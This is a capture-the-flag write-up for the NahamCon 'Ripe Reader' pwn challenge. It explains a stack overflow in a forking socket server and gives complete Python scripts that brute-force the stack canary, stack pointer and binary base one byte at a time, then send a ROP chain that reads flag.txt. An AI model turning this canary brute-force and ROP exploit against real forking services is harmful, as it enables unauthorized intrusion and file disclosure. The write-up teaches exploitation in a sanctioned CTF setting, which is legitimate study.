#grub.js.org

NahamCon CTF - Ripe Reader (pwn)

Overview

Ripe Reader was a difficult and atypical pwn challenge. With 26 solves, it was nahamcon ctf's least solved BE task, most likely due to the fact that it involved a technique that you dont often see in CTFs (at least in my experience).

What made the challenge atypical is that, rather than being hosted by having its stdin/stdout connected to a TCP port with socat or the like, the binary was set up to listen for incoming connections, and forking once a connection was recieved. This behaviour, coupled with a trivial buffer overflow, lead to the possibility of defeating both a stack canary and ASLR.

The following writeup is decently long, so if you are just looking for a solution script, feel free to scroll to the bottom.

Bughunting

Without too much effort, we should be able to spot a buffer overflow in the selectImg function. In the source below, we can see a call to recv is taking 0x400 bytes of input, and placing them into a buffer 0x40 bytes in size.

signed __int64 __fastcall selectImg(unsigned int a1)
{
  char buf; // [rsp+10h] [rbp-40h]
  unsigned __int64 v3; // [rsp+48h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  send(a1, "Select one of the images:\n", 0x1AuLL, 0);
  send(a1, "[1] @_johnhammond\n", 0x12uLL, 0);
  send(a1, "[2] @NahamSec\n", 0xEuLL, 0);
  send(a1, "[3] @thecybermentor\n", 0x14uLL, 0);
  send(a1, "[4] @stokfredrik\n", 0x11uLL, 0);
  send(a1, "[q] QUIT\n", 9uLL, 0);
  recv(a1, &buf, 0x400uLL, 0);
  if ( !strcmp(&buf, "1\n") )
  {
    printFile(a1, "./john.txt");
  }
  else if ( !strcmp(&buf, "2\n") )
  {
    printFile(a1, "./nahamsec.txt");
  }
  else if ( !strcmp(&buf, "3\n") )
  {
    printFile(a1, "./tcm.txt");
  }
  else if ( !strcmp(&buf, "4\n") )
  {
    printFile(a1, "./stok.txt");
  }
  else
  {
    if ( !strcmp(&buf, "q\n") )
      return 1LL;
    send(a1, "Invalid option!\n", 0x10uLL, 0);
  }
  return 0LL;
}

However this doesn't do us much good when we have to contend with a stack canary. In order to understand how we can proceed, it's important to have a basic understanding of how fork() works.

Abusing fork

From the manpage:

fork() creates a new process by duplicating the calling process.  The
       new process is referred to as the child process.  The calling process
       is referred to as the parent process.

       The child process and the parent process run in separate memory
       spaces.  At the time of fork() both memory spaces have the same
       content.  Memory writes, file mappings (mmap(2)), and unmappings
       (munmap(2)) performed by one of the processes do not affect the
       other.

So when fork is called, both the parents and child processes have identical memory. Importantly, this means that every time we initiate a new connection with the binary, it will have the same stack canary. So some semblence of an attack plan falls into place; We can perform a byte by byte bruteforce, and aach time we overwrite by a byte which is incorrect, the connection will die due to a stack smashing related error. If we find the right byte, the binary should prompt us for more input as though nothing is wrong.

Leaking everything.

A challenge like this was a good opportunity to practise a bit of pwn sans pwntools, since it is a little cleaner to have a bare interface to the socket we are interacting with.

The following snippet can be used to leak the canary:

from struct import pack, unpack
from socket import socket, timeout
from telnetlib import Telnet 
import codecs
import sys
from time import sleep


host = "three.jh2i.com"
port = 50023



buf = b"A"*56 # We are overflowing a buffer of 56 bytes

start = len (buf)
stop = len (buf) + 8

while len(buf) < stop:
		
		
	for i in range(0,256):
		print("Trying {}".format(hex(i)), end="\r", flush=True)
		
        # Create a connection to the host and receive what is has to send
        sock = socket()
		sock.connect((host,port))
		sock.recv(1024)

        # Append the current byte to the payload
		pay = buf+bytes([i])

        # Send the payload and give the server time to respond
		sock.send(pay)
        sleep(1)
		res = sock.recv(1024).decode()

        # If it responds normally, we have found a byte of the canary
        # We append it to the current buffer and continue	
		if "Select one of the images:" in res:
			print("Found byte: " + hex(i))
			buf += bytes([i])
			sock.close()
			break
		sock.close()


canary = unpack('Q', buf[-8:])[0]
print("[+] Stack Canary value is " + hex(canary))

Awesome! But what else can we get? Well, any other incremental overwrite that can potentially cause the remote binary to not respond normally can lead to this kind of leak, which means that we can use the exact same method above to leak an address on the stack, and an address in the binary itself.

Since the space after our buffer looked like this:

| <-- canary --> | <-- saved rbp --> | <-- ret --> |

We can incrementally overwrite the saved stack base pointer and the saved return address, effectively leaking them too. The code to do so is the same as above.

Exploitation

So what can we do once we have defeated the canary and ASLR?

Conveniently, the binary contains a printFile function, which takes a file name as an argument and prints it. So out strategy is clear; make a call to printFile with flag.txt as the argument.

But as always, setting this up is a little bit fiddly, and is a nice opportunity to hone some debugging skills. Let's start by listing what we need to construct our payload, and then finding it. We need:

  • A pop_rsi gadget to load the argument to printFile
  • A flag.txt string at a known location

Using ropper or some such gadget finder, we can find a pop rsi; pop r15; ret gadget at an offset of 0x1101 from the binary base. Since we are able to leak a stack address, we can try storing the 'flag.txtstring in our buffer and passing a known address toprintFile`.

We can start off with something like this:

host = "localhost"
port = 1234



canary = 0xd78e383469691600
rbp = 0x7ffefaa4df34
bb = 0x556373177000


pop_rsi_r15 = pack("Q",bb + 0x1101)
filestring = rbp
printfile = pack("Q",bb + 0xfdc)
null = pack("Q", 0)

payload = b"./"*23 + b"flag.txt\x00\x00" + pack("Q", canary) \
			+ pack("Q", rbp) + pop_rsi_r15 + pack("Q", filestring) \
			+ null + printfile


sock = socket()
sock.connect((host,port))
sock.recv(1024)
sock.send(payload)

t = Telnet()

t.sock = sock
t.interact()
sock.close()

Note: I padded the flag.txt string with a bunch of ./s to have a higher chance of hitting a valid filename.

Running the binary locally, we can debug it finding its pid, running gd as root, then issuing the commands:

attach <pid>
set follow-fork-mode child

if you are using gef, you can also do:

pie breakpoint 0x1101

to break on the first gadget of the ropchain.

Running the exploit, and breaking at the first gadget, we can see something is slightly off. We need to make a slight adjustment, setting the location fo the filestring to be 0x34 bytes behind out rbp leak. Once we make our adjustment, ourpayload leaks the flag.

Full exploit code: Note, exploit should be run in two modes: scan to makes the leaks, then hardcode the leaks to perform the exploits. The reason for this is the leaking takes a long time, and isn't feasible or necessary to run them each time you perform the exploit.

from struct import pack, unpack
from socket import socket, timeout
from telnetlib import Telnet 
import codecs
import sys
from time import sleep


host = "three.jh2i.com"
port = 50023

if sys.argv[1] == "scan":

	buf = b"./"*23 + b"flag.txt\x00\x00" + pack('Q', 0xf7ae008c0d81aa00)

	start = len (buf)
	stop = len (buf) + 8

	while len(buf) < stop:
		
		for i in range(0,256):
			print("Trying {}".format(hex(i)), end="\r", flush=True)
			sock = socket()
			sock.connect((host,port))
			sock.recv(1024)

			pay = buf+bytes([i])

			sock.send(pay)
			sleep(1)
			res = sock.recv(1024).decode()
			
			if "Select one of the images:" in res:
				print("Found byte: " + hex(i))
				buf += bytes([i])
				sock.close()
				break
			sock.close()


	canary = unpack('Q', buf[-8:])[0]
	print("[+] Stack Canary value is " + hex(canary))

	start = len (buf)
	stop = len (buf) + 8

	while len(buf) < stop:
		
		for i in range(0,256):
			print("Trying {}".format(hex(i)), end="\r", flush=True)
			sock = socket()
			sock.connect((host,port))
			sock.recv(1024)

			pay = buf+bytes([i])

			sock.send(pay)
			sleep(1)
			res = sock.recv(1024).decode()
			
			if "Select one of the images:" in res:
				print("Found byte: " + hex(i))
				buf += bytes([i])
				sock.close()
				break
			sock.close()


	rbp = unpack('Q', buf[-8:])[0]
	print("[+] Stack base pointer is value is " + hex(rbp))
	

	start = len (buf)
	stop = len (buf) + 8

	while len(buf) < stop:
		
		for i in range(0,256):
			print("Trying {}".format(hex(i)), end="\r", flush=True)
			sock = socket()
			sock.connect((host,port))
			sock.recv(1024)

			pay = buf+bytes([i])

			sock.send(pay)
			sleep(1)
			res = sock.recv(1024).decode()
			
			if "Select one of the images:" in res:
				print("Found byte: " + hex(i))
				buf += bytes([i])
				sock.close()
				break
			sock.close()


	rbp = unpack('Q', buf[-8:])[0]
	print("[+] Stack base pointer is value is " + hex(rbp))
	main_offset = 0xd4a
	ret = unpack('Q', buf[-8:])[0]
	print(hex(ret))
	binary_base = ret - main_offset
	print("[+] Binary base address is " + hex(binary_base))

else:
	canary = 0xf7ae008c0d81aa00
	rbp = 0x7ffd64f14a24
	bb = 0x55ccfd360000


	pop_rsi_r15 = pack("Q",bb + 0x1101)
	

	filestring = rbp - 0x34

	printfile = pack("Q",bb + 0xfdc)


	null = pack("Q", 0)

	payload = b"./"*23 + b"flag.txt\x00\x00" + pack("Q", canary) \
				 + pack("Q", rbp) + pop_rsi_r15 + pack("Q", filestring) \
				 + null + printfile


	sock = socket()
	sock.connect((host,port))
	sock.recv(1024)
	sock.send(payload)

	t = Telnet()

	t.sock = sock
	t.interact()
	sock.close()

Flag: flag{should_make_an_ascii_flag_image}